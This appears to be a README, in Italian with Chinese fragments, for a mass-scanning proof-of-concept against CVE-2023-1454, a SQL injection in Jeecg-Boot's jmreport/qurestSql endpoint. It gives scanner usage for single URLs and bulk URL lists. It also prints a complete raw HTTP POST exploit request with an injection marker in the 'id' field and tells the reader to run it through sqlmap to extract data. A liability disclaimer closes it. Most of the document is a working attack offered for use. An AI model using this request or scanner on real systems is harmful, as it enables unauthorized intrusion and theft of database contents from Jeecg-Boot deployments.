
CVE-2023-1454, iniezione SQL front-end di Jeecg-Boot, rilevamento batch per CVE-2023-1454
Poc di scansione di massa per SQL injection non autorizzata in jmreport/qurestSql Jeecg-Boot è una piattaforma di sviluppo rapido basata su Spring Boot e Jeecg-Boot-Plus. Nell'ultima versione jeecg-boot 3.5.0 sono state scoperte diverse vulnerabilità di SQL injection.
Indirizzo dello strumento originale
Lo strumento originale ha un alto tasso di falsi positivi; ho modificato le condizioni di rilevamento e ne ho approfittato per ottimizzare il codice.
python3 CVE-2023-1454-scan.py -u http://127.0.0.1:1111 单个url测试
python3 CVE-2023-1454-scan.py -f url.txt 批量检测
Al termine della scansione verrà generato nella directory corrente il file vuln.txt contenente gli URL vulnerabili.
poc:

exp:
Salva il pacchetto di richiesta in un file txt; usando sqlmap potrai estrarre i dati.
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2088.112 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 129
{"apiSelectId":"1290104038414721025",
"id":"1*"}

Qualsiasi conseguenza o perdita, diretta o indiretta, causata dalla diffusione o dall'utilizzo delle informazioni fornite in questo documento, è di esclusiva responsabilità dell'utilizzatore; l'autore non si assume alcuna responsabilità in merito.